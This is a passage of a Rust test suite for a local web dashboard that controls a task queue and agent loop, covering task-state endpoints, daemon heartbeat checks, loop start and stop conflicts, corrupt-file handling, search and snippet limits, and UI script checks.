10116 let queue = f.queue();
10117 let mut task = Task::new(
10118 "busy".to_owned(),
10119 "Running right now".to_owned(),
10120 PathBuf::from("/repo/magi"),
10121 Source::Human,
10122 );
10123 queue.put(&mut task).expect("file the task");
10124 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10125
10126 let priority = f
10127 .post(
10128 &format!("/api/queue/{}/priority", task.id),
10129 Some(r#"{"priority":9}"#),
10130 )
10131 .await;
10132 assert_eq!(priority.status, 409, "{}", priority.body);
10133
10134 let edit = f
10135 .post(
10136 &format!("/api/queue/{}/edit", task.id),
10137 Some(r#"{"title":"x","instruction":"y"}"#),
10138 )
10139 .await;
10140 assert_eq!(edit.status, 409, "{}", edit.body);
10141 }
10142
10143 #[tokio::test]
10144 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10145 let f = Fixture::start().await;
10146 let queue = f.queue();
10147 let mut task = Task::new(
10148 "shipped by hand".to_owned(),
10149 "merged outside the loop".to_owned(),
10150 PathBuf::from("/repo/magi"),
10151 Source::Agent {
10152 run: "20260101-000000-b455".to_owned(),
10153 node: "implement".to_owned(),
10154 },
10155 );
10156 task.runs.push("20260101-000000-b455".to_owned());
10157 task.runs.push("20260101-000000-9af4".to_owned());
10158 queue.put(&mut task).expect("file the task");
10159 let created_at = task.created_at;
10160
10161 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10162 assert_eq!(done.status, 200, "{}", done.body);
10163 assert_eq!(done.json()["status_str"], "done");
10164
10165 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10166 assert_eq!(
10167 reloaded.runs,
10168 ["20260101-000000-b455", "20260101-000000-9af4"]
10169 );
10170 assert_eq!(
10171 reloaded.source,
10172 Source::Agent {
10173 run: "20260101-000000-b455".to_owned(),
10174 node: "implement".to_owned(),
10175 }
10176 );
10177 assert_eq!(reloaded.created_at, created_at);
10178 }
10179
10180 #[tokio::test]
10181 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10182 let f = Fixture::start().await;
10187 let queue = f.queue();
10188 let mut task = Task::new(
10189 "landed while held".to_owned(),
10190 "x".to_owned(),
10191 PathBuf::from("/repo/magi"),
10192 Source::Human,
10193 );
10194 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10195 queue.put(&mut task).expect("file the held task");
10196
10197 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10198 assert_eq!(done.status, 200, "{}", done.body);
10199 assert_eq!(done.json()["status_str"], "done");
10200 assert!(
10201 done.json()["hold_reason"].is_null(),
10202 "a done task cannot still be waiting on something: {}",
10203 done.body
10204 );
10205 }
10206
10207 #[tokio::test]
10208 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10209 let f = Fixture::start().await;
10214 let queue = f.queue();
10215 let runs = f.runs();
10216 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10217 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10221
10222 let mut task = Task::new(
10223 "landed by hand".to_owned(),
10224 "x".to_owned(),
10225 PathBuf::from("/repo/magi"),
10226 Source::Human,
10227 );
10228 task.runs.push("20260101-000000-doa1".to_owned());
10229 task.runs.push("20260101-000000-doa2".to_owned());
10230 queue.put(&mut task).expect("file the task");
10231
10232 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10233 assert_eq!(done.status, 200, "{}", done.body);
10234
10235 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10236 .expect("run still on disk under this fixture's own home");
10237 assert_eq!(
10238 reloaded_run.status,
10239 RunStatus::Superseded,
10240 "closing the task by hand must relabel the earlier blocked attempt exactly \
10241 like the loop's own settle path does"
10242 );
10243 }
10244
10245 #[tokio::test]
10246 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10247 let f = Fixture::start().await;
10252 let queue = f.queue();
10253 let runs = f.runs();
10254 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10255 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10256
10257 let mut task = Task::new(
10258 "closed with nothing actually landed".to_owned(),
10259 "x".to_owned(),
10260 PathBuf::from("/repo/magi"),
10261 Source::Human,
10262 );
10263 task.runs.push("20260101-000000-dob1".to_owned());
10264 task.runs.push("20260101-000000-dob2".to_owned());
10265 queue.put(&mut task).expect("file the task");
10266
10267 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10268 assert_eq!(done.status, 200, "{}", done.body);
10269
10270 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10271 .expect("run still on disk under this fixture's own home");
10272 assert_eq!(
10273 reloaded_run.status,
10274 RunStatus::Blocked,
10275 "the last recorded attempt never landed, so the earlier one must not be \
10276 relabelled as superseded by it"
10277 );
10278 }
10279
10280 #[tokio::test]
10281 async fn unknown_ids_are_json_not_found_on_both_stores() {
10282 let f = Fixture::start().await;
10283
10284 let run = f.get("/api/runs/nosuchrun").await;
10285 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10286
10287 assert_eq!(run.status, 404);
10288 assert_eq!(task.status, 404);
10289 assert!(
10290 run.json()["error"]
10291 .as_str()
10292 .is_some_and(|e| e.contains("run")),
10293 "the error names what was not found: {}",
10294 run.body
10295 );
10296 assert!(
10297 task.json()["error"]
10298 .as_str()
10299 .is_some_and(|e| e.contains("task")),
10300 "the error names what was not found: {}",
10301 task.body
10302 );
10303 }
10304
10305 #[tokio::test]
10306 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10307 let f = Fixture::start().await;
10308
10309 let missing = f.get("/api/health").await.json();
10310 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10311
10312 write_daemon(
10313 f.home.path(),
10314 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10315 );
10316 let stale = f.get("/api/health").await.json();
10317 assert_eq!(
10318 stale["daemon"]["running"], false,
10319 "a minute without a heartbeat is a dead daemon, not a busy one"
10320 );
10321 assert!(
10322 stale["daemon"]["stale_for_secs"]
10323 .as_i64()
10324 .is_some_and(|s| s >= 55),
10325 "staleness is reported so the UI can say how long: {stale}"
10326 );
10327
10328 write_daemon(f.home.path(), Timestamp::now());
10329 let fresh = f.get("/api/health").await.json();
10330 assert_eq!(fresh["daemon"]["running"], true);
10331 assert_eq!(fresh["daemon"]["idle"], false);
10332 assert_eq!(fresh["daemon"]["pid"], 4242);
10333 assert_eq!(fresh["daemon"]["completed"], 7);
10334 assert_eq!(
10335 fresh["daemon"]["current"][0]["task"],
10336 "20260902-140501-aaaa"
10337 );
10338 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10339 }
10340
10341 #[tokio::test]
10342 async fn the_loop_is_not_running_until_something_starts_it() {
10343 let f = Fixture::start().await;
10344
10345 let view = f.get("/api/loop").await.json();
10346 assert_eq!(view["running"], false);
10347 assert_eq!(
10348 view["owned"], false,
10349 "nobody owns a loop that does not exist: {view}"
10350 );
10351 assert_eq!(view["stopping"], false);
10352 assert_eq!(view["last_error"], Value::Null);
10353 assert_eq!(view["daemon"]["running"], false);
10354 assert_eq!(
10355 view["repo"], "/repo/magi",
10356 "the repository a start would use, named before it is started"
10357 );
10358 }
10359
10360 #[tokio::test]
10361 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10362 let f = Fixture::start().await;
10363
10364 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10365 assert_eq!(res.status, 200, "{}", res.body);
10366 let view = res.json();
10367 assert_eq!(view["running"], true);
10368 assert_eq!(
10369 view["owned"], true,
10370 "the loop the UI started is the UI's own to stop: {view}"
10371 );
10372 assert_eq!(
10373 view["merge"],
10374 Value::Null,
10375 "no override was given, so each repository's own config decides"
10376 );
10377
10378 let health = f.get("/api/health").await.json();
10382 assert_eq!(health["loop"]["running"], true, "{health}");
10383 assert_eq!(health["loop"]["owned"], true, "{health}");
10384
10385 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10386 }
10387
10388 #[tokio::test]
10389 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10390 let f = Fixture::start().await;
10391 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10392 assert_eq!(first.status, 200, "{}", first.body);
10393
10394 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10395 assert_eq!(
10396 again.status, 409,
10397 "two loops on one queue race for the same claims: {}",
10398 again.body
10399 );
10400 assert!(
10401 again.json()["error"]
10402 .as_str()
10403 .is_some_and(|e| e.contains("already running the loop")),
10404 "the refusal has to say why: {}",
10405 again.body
10406 );
10407 assert_eq!(
10408 f.get("/api/loop").await.json()["running"],
10409 true,
10410 "and the loop that was already running is untouched by it"
10411 );
10412
10413 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10414 }
10415
10416 #[tokio::test]
10417 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10418 let f = Fixture::start().await;
10419 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10420
10421 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10422 assert_eq!(
10423 res.status, 200,
10424 "the answer must not wait for the loop: a run in flight is tens of \
10425 minutes and the operator is holding a phone: {}",
10426 res.body
10427 );
10428
10429 let view = settled(&f, |v| v["running"] == false).await;
10430 assert_eq!(view["owned"], false);
10431 assert_eq!(
10432 view["stopping"], false,
10433 "a loop that has stopped is not still stopping: {view}"
10434 );
10435 assert_eq!(
10436 view["last_error"],
10437 Value::Null,
10438 "a loop that was asked to stop did not fail: {view}"
10439 );
10440
10441 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10444 assert_eq!(twice.status, 200, "{}", twice.body);
10445 }
10446
10447 #[tokio::test]
10448 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10449 let f = Fixture::start().await;
10450 write_daemon(f.home.path(), Timestamp::now());
10453
10454 let view = f.get("/api/loop").await.json();
10455 assert_eq!(view["running"], false, "not in this process: {view}");
10456 assert_eq!(view["owned"], false, "and not this process's to control");
10457 assert_eq!(
10458 view["daemon"]["running"], true,
10459 "but a loop is alive somewhere, which is what the UI must say"
10460 );
10461 assert_eq!(view["daemon"]["pid"], 4242);
10462
10463 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10464 let res = f.post("/api/loop", Some(body)).await;
10465 assert_eq!(
10466 res.status, 409,
10467 "neither button may pretend to work on someone else's loop: {}",
10468 res.body
10469 );
10470 assert!(
10471 res.json()["error"]
10472 .as_str()
10473 .is_some_and(|e| e.contains("4242")),
10474 "the refusal has to name the process the operator must go to: {}",
10475 res.body
10476 );
10477 }
10478 assert_eq!(
10479 f.get("/api/loop").await.json()["running"],
10480 false,
10481 "and the refusal started nothing"
10482 );
10483 }
10484
10485 #[tokio::test]
10486 async fn a_stale_status_file_is_not_a_foreign_owner() {
10487 let f = Fixture::start().await;
10488 write_daemon(
10489 f.home.path(),
10490 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10491 );
10492
10493 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10494 assert_eq!(
10495 res.status, 200,
10496 "a daemon killed a minute ago must not lock the loop out of its \
10497 own home for good: {}",
10498 res.body
10499 );
10500 assert_eq!(res.json()["running"], true);
10501
10502 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10503 }
10504
10505 #[tokio::test]
10506 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10507 let f = Fixture::start().await;
10508 let before = f.get("/api/health").await.json()["loop_rev"]
10509 .as_u64()
10510 .expect("a loop revision");
10511
10512 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10513
10514 let after = f.get("/api/health").await.json()["loop_rev"]
10515 .as_u64()
10516 .expect("a loop revision");
10517 assert!(
10518 after > before,
10519 "the loop is in-process state, so this counter is the only thing \
10520 that tells a second device the first one started it: {before} -> \
10521 {after}"
10522 );
10523
10524 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10525 }
10526
10527 #[tokio::test]
10528 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10529 let f = Fixture::with_loop(launch_broken).await;
10530
10531 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10532 assert_eq!(
10533 res.status, 200,
10534 "starting it is not the failure: {}",
10535 res.body
10536 );
10537
10538 let view = settled(&f, |v| v["last_error"].is_string()).await;
10539 assert_eq!(
10540 view["running"], false,
10541 "a loop that died must not read as running, or the operator has \
10542 nothing to press: {view}"
10543 );
10544 assert_eq!(view["owned"], false);
10545 assert!(
10546 view["last_error"]
10547 .as_str()
10548 .is_some_and(|e| e.contains("read-only file system")),
10549 "the phone is where a loop that died at 3am is visible: {view}"
10550 );
10551
10552 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10555 assert_eq!(again.status, 200, "{}", again.body);
10556 assert_eq!(
10557 again.json()["last_error"],
10558 Value::Null,
10559 "a fresh start does not keep showing why the last one died"
10560 );
10561 }
10562
10563 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10575 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10576 let home = TempDir::new().expect("temp home");
10577 let runs = home.path().join("runs");
10578 std::fs::create_dir_all(&runs).expect("runs dir");
10579 let ui = Ui::new(
10580 Queue::at(home.path().join("queue")),
10581 Questions::at(home.path().join("questions")),
10582 Talks::at(home.path().join("talks")),
10583 runs,
10584 home.path().to_path_buf(),
10585 PathBuf::from("/repo/magi"),
10586 )
10587 .with_worktrees_root(home.path().join("wt"))
10588 .with_launch(launch_knocking_on_the_way_out);
10589 let looping = ui.looping();
10590 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10591 .await
10592 .expect("bind loopback");
10593 let addr = listener.local_addr().expect("local addr");
10594 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10595 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10596
10597 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10598 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10599
10600 let bound = std::sync::Mutex::new(None);
10615 hand_over(home.path(), &looping, served, |_| {
10616 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10617 let attempt = loop {
10618 match std::net::TcpListener::bind(addr) {
10619 Ok(l) => {
10620 drop(l);
10621 break Ok(());
10622 }
10623 Err(e)
10624 if e.kind() == std::io::ErrorKind::AddrInUse
10625 && std::time::Instant::now() < deadline =>
10626 {
10627 std::thread::sleep(std::time::Duration::from_millis(10));
10628 }
10629 Err(e) => break Err(e.to_string()),
10630 }
10631 };
10632 *bound.lock().expect("bound") = Some(attempt);
10633 Ok(1)
10634 })
10635 .await
10636 .expect("hand over");
10637
10638 assert_eq!(
10639 *PARK_HEARD.lock().expect("park heard"),
10640 Some(200),
10641 "the deck must answer while the loop is parking"
10642 );
10643 let attempt = bound
10644 .lock()
10645 .expect("bound")
10646 .take()
10647 .expect("the successor was started");
10648 assert!(
10649 attempt.is_ok(),
10650 "and the address must be free by the time it is: {attempt:?}"
10651 );
10652 }
10653
10654 #[tokio::test]
10655 async fn a_newer_daemon_status_file_still_renders() {
10656 let f = Fixture::start().await;
10657 std::fs::write(
10660 f.home.path().join("daemon.json"),
10661 serde_json::json!({
10662 "schema": 2,
10663 "updated_at": Timestamp::now().to_string(),
10664 "idle": true,
10665 "surprise": { "nested": [1, 2, 3] },
10666 })
10667 .to_string(),
10668 )
10669 .expect("write daemon.json");
10670
10671 let health = f.get("/api/health").await;
10672
10673 assert_eq!(health.status, 200);
10674 assert_eq!(health.json()["daemon"]["running"], true);
10675 }
10676
10677 #[tokio::test]
10678 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10679 let f = Fixture::start().await;
10680 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10681 let broken = f.runs().join("20260902-140502-bad");
10682 std::fs::create_dir_all(&broken).expect("run dir");
10683 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10684
10685 let list = f.get("/api/runs").await;
10686 let detail = f.get("/api/runs/20260902-140502-bad").await;
10687
10688 assert_eq!(list.status, 200);
10689 let listed = list.json();
10690 let ids: Vec<&str> = listed
10691 .as_array()
10692 .expect("an array")
10693 .iter()
10694 .map(|r| r["id"].as_str().expect("an id"))
10695 .collect();
10696 assert_eq!(
10697 ids,
10698 vec!["20260902-140501-good"],
10699 "one unreadable run must not cost the operator the whole history"
10700 );
10701 assert_eq!(detail.status, 500);
10702 assert!(
10703 detail.json()["error"]
10704 .as_str()
10705 .is_some_and(|e| e.contains("run.json")),
10706 "the failure names the file to look at: {}",
10707 detail.body
10708 );
10709 let health = f.get("/api/health").await;
10713 assert_eq!(health.json()["runs_unreadable"], 1);
10714 }
10715
10716 #[tokio::test]
10718 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10719 let f = Fixture::start().await;
10720 let runs = f.runs();
10721 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10722 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10723 let path = runs.join("20260902-140502-bbbb").join("run.json");
10726 let mut v: serde_json::Value =
10727 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10728 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10729 std::fs::write(&path, v.to_string()).unwrap();
10730 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10731 std::fs::write(
10732 runs.join("20260902-140503-cccc").join("run.json"),
10733 "{ not json",
10734 )
10735 .unwrap();
10736
10737 let res = f.get("/api/search?scope=runs&q=quokka").await;
10738 assert_eq!(res.status, 200, "{}", res.body);
10739 let v = res.json();
10740 assert_eq!(v["total"], 1, "{v}");
10741 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10742 assert_eq!(v["hits"][0]["field"], "text");
10743 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10744 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10745 assert!(
10746 parts
10747 .iter()
10748 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10749 "{v}"
10750 );
10751 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10752 assert_eq!(
10753 flat, "The Quokka leaks across threads",
10754 "whitespace is collapsed"
10755 );
10756
10757 let both = f
10759 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10760 .await
10761 .json();
10762 assert_eq!(both["total"], 1, "{both}");
10763 let neither = f
10764 .get("/api/search?scope=runs&q=quokka%20zebra")
10765 .await
10766 .json();
10767 assert_eq!(neither["total"], 0, "{neither}");
10768 let stmt = f
10770 .get("/api/search?scope=runs&q=mobile%20first")
10771 .await
10772 .json();
10773 assert_eq!(stmt["total"], 2, "{stmt}");
10774 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10775 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10776 }
10777
10778 #[test]
10779 fn snippet_ignores_terms_longer_than_the_field() {
10780 let terms = ["ok".to_owned(), "elephant".to_owned()];
10781 let parts = snippet_of("ok", &terms);
10782 assert_eq!(
10783 parts,
10784 vec![SnippetPart {
10785 text: "ok".to_owned(),
10786 hit: true
10787 }]
10788 );
10789 }
10790
10791 #[test]
10792 fn snippet_marks_matches_longer_than_the_window() {
10793 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10794 let hit_len = |parts: &[SnippetPart]| -> usize {
10795 parts
10796 .iter()
10797 .filter(|p| p.hit)
10798 .map(|p| p.text.chars().count())
10799 .sum()
10800 };
10801 let total =
10802 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10803
10804 let long = "a".repeat(120);
10805 let parts = snippet_of(&long, std::slice::from_ref(&long));
10806 assert!(hit_len(&parts) > 0, "{parts:?}");
10807 assert!(total(&parts) <= cap);
10808
10809 let ja = "あ".repeat(130);
10810 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10811 assert!(hit_len(&parts) > 0, "{parts:?}");
10812 assert!(total(&parts) <= cap);
10813
10814 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10816 let term = format!("ab{}", "c".repeat(100));
10817 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10818 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10819 assert!(total(&parts) <= cap);
10820
10821 let text = format!("{}z", "a".repeat(119));
10823 let parts = snippet_of(&text, &["a".repeat(120)]);
10824 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10825 }
10826
10827 #[tokio::test]
10828 async fn search_caps_hits_and_snippet_length() {
10829 let f = Fixture::start().await;
10830 let runs = f.runs();
10831 for n in 0..(SEARCH_MAX_HITS + 5) {
10832 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10833 }
10834 let v = f.get("/api/search?scope=runs&q=web").await.json();
10835 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10836 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10837 assert_eq!(v["truncated"], true);
10838 assert!(
10840 v["hits"]
10841 .as_array()
10842 .unwrap()
10843 .iter()
10844 .all(|h| h["run"]["status"] == "merged")
10845 );
10846
10847 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10848 let parts = snippet_of(&long, &["needle".to_owned()]);
10849 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10850 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10851 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10852 }
10853
10854 #[tokio::test]
10855 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10856 let f = Fixture::start().await;
10857 let queue = f.queue();
10858 let mut t = Task::new(
10859 "short title".to_owned(),
10860 "line one\nthe hidden Armadillo detail".to_owned(),
10861 PathBuf::from("/repo/magi"),
10862 Source::Agent {
10863 run: "r1".to_owned(),
10864 node: "chat".to_owned(),
10865 },
10866 );
10867 t.last_error = Some("disk full on /tmp".to_owned());
10868 queue.put(&mut t).expect("file the task");
10869
10870 for (q, want) in [
10871 ("armadillo", 1),
10872 ("disk%20FULL", 1),
10873 ("chat", 1),
10874 ("queued", 1),
10875 ("short%20nothing", 0),
10876 ] {
10877 let v = f
10878 .get(&format!("/api/search?scope=tasks&q={q}"))
10879 .await
10880 .json();
10881 assert_eq!(v["total"], want, "{q}: {v}");
10882 }
10883 for bad in [
10884 "/api/search?scope=tasks&q=",
10885 "/api/search?scope=tasks&q=%20",
10886 "/api/search?scope=chats&q=",
10887 "/api/search?scope=chats&q=%20",
10888 "/api/search?scope=nope&q=a",
10889 "/api/search?q=a",
10890 ] {
10891 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10892 }
10893 }
10894
10895 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10897 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10898 .expect("seat value");
10899 let turns: Vec<serde_json::Value> = turns
10900 .iter()
10901 .map(|(who, body)| {
10902 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10903 })
10904 .collect();
10905 let doc = serde_json::json!({
10906 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10907 "status": status, "turns": turns,
10908 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10909 "seat": seat,
10910 });
10911 let dir = f.home.path().join("talks");
10912 std::fs::create_dir_all(&dir).expect("talks dir");
10913 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10914 }
10915
10916 #[tokio::test]
10917 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10918 let f = Fixture::start().await;
10919 write_talk(
10920 &f,
10921 "20260901-000001-aaaa",
10922 "open",
10923 &[
10924 (
10925 "operator",
10926 "\n Why does the Pangolin cache expire?\nsecond line",
10927 ),
10928 ("agent", "Because the TTL is thirty seconds."),
10929 ],
10930 );
10931 write_talk(
10932 &f,
10933 "20260901-000002-bbbb",
10934 "closed",
10935 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10936 );
10937 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10938
10939 let search = |q: &'static str| {
10940 let f = &f;
10941 async move {
10942 f.get(&format!("/api/search?scope=chats&q={q}"))
10943 .await
10944 .json()
10945 }
10946 };
10947
10948 let v = search("PANGOLIN").await;
10949 assert_eq!(v["scope"], "chats");
10950 assert_eq!(v["total"], 1, "{v}");
10951 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10952 assert_eq!(v["hits"][0]["field"], "title");
10953 assert_eq!(v["unreadable"], 1, "{v}");
10954 let marked: Vec<&str> = v["hits"][0]["snippet"]
10955 .as_array()
10956 .unwrap()
10957 .iter()
10958 .filter(|p| p["hit"] == true)
10959 .map(|p| p["text"].as_str().unwrap())
10960 .collect();
10961 assert_eq!(marked, ["Pangolin"]);
10962
10963 let v = search("zebra").await;
10965 assert_eq!(v["total"], 1, "{v}");
10966 assert_eq!(v["hits"][0]["field"], "agent");
10967 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10969 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10970 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10972 assert_eq!(search(q).await["total"], 0, "{q}");
10973 }
10974 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10976 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10978
10979 let v = f.get("/api/search?scope=nope&q=a").await;
10980 assert_eq!(v.status, 400);
10981 assert!(
10982 v.body.contains("scope must be runs, tasks or chats"),
10983 "{}",
10984 v.body
10985 );
10986 }
10987
10988 #[test]
10989 fn a_question_card_links_a_task_id_to_the_task_page() {
10990 let start = APP_JS
10991 .find("function updateAskCard(")
10992 .expect("updateAskCard exists");
10993 let body = &APP_JS[start..];
10994 let body = &body[..body.find("\n}\n").expect("function end")];
10995 assert!(body.contains("question.run_is_task"));
10996 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10997 assert!(body.contains("`#/runs/${question.run}`"));
10998 assert!(body.contains("\"task\" : \"run\""));
10999 }
11000
11001 #[test]
11002 fn stats_bars_share_one_id_keyed_plan() {
11003 let start = APP_JS
11004 .find("function statsBarRows(")
11005 .expect("statsBarRows exists");
11006 let body = &APP_JS[start..];
11007 let body = &body[..body.find("\n}\n").expect("function end")];
11008 assert!(body.contains("statsBarPlan(rows)"));
11009 assert!(body.contains("statsAgentTone(row.agent)"));
11010 assert!(!body.contains("candTone(i)"));
11011 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11012 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11013 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11014 }
11015 }
11016
11017 #[test]
11018 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11019 let start = APP_JS
11020 .find("function renderStatsReviewerScatter(")
11021 .expect("renderStatsReviewerScatter exists");
11022 let body = &APP_JS[start..];
11023 let body = &body[..body.find("\n}\n").expect("function end")];
11024 assert!(body.contains("statsScatterPlan(reviewers)"));
11025 assert!(body.contains("statsAgentTone(d.agent)"));
11026 assert!(APP_JS.contains("function statsScatterPlan("));
11027 assert!(
11028 APP_JS.contains("d.submitted < STATS_LOW_N")
11029 || APP_JS.contains("r.submitted < STATS_LOW_N")
11030 );
11031 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11032 assert!(APP_CSS.contains(".precision-scatter"));
11033 }
11034
11035 #[test]
11036 fn advisor_reflection_is_drawn_as_stacked_segments() {
11037 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11038 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11039 let html = include_str!("../assets/ui/index.html");
11040 assert!(html.contains("Approximate"));
11041 for label in ["reflected strongly", "faint", "no proposal"] {
11042 assert!(html.contains(label));
11043 }
11044 let css = include_str!("../assets/ui/app.css");
11045 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11046 assert!(css.contains(&format!(".{c} {{")));
11047 }
11048 }
11049
11050 #[test]
11051 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11052 assert!(APP_JS.contains("function statsDailyPlan("));
11053 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11054 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11055 }
11056
11057 #[test]
11058 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11059 let start = APP_JS
11060 .find("function scheduleSearch(")
11061 .expect("scheduleSearch exists");
11062 let body = &APP_JS[start..];
11063 let body = &body[..body.find("\n}\n").expect("function end")];
11064 assert!(body.contains("s.seq += 1"));
11065 }
11066
11067 #[tokio::test]
11072 async fn stats_runs_unreadable_matches_health() {
11073 let f = Fixture::start().await;
11074 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11075 let broken = f.runs().join("20260902-140502-bad");
11076 std::fs::create_dir_all(&broken).expect("run dir");
11077 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11078
11079 let stats = f.get("/api/stats").await;
11080 let health = f.get("/api/health").await;
11081
11082 assert_eq!(stats.status, 200);
11083 assert_eq!(stats.json()["totals"]["runs"], 1);
11084 assert_eq!(stats.json()["runs_unreadable"], 1);
11085 assert_eq!(
11086 stats.json()["runs_unreadable"],
11087 health.json()["runs_unreadable"],
11088 "the dashboard and /api/health must never disagree about how many \
11089 runs could not be read"
11090 );
11091 }
11092
11093 #[tokio::test]
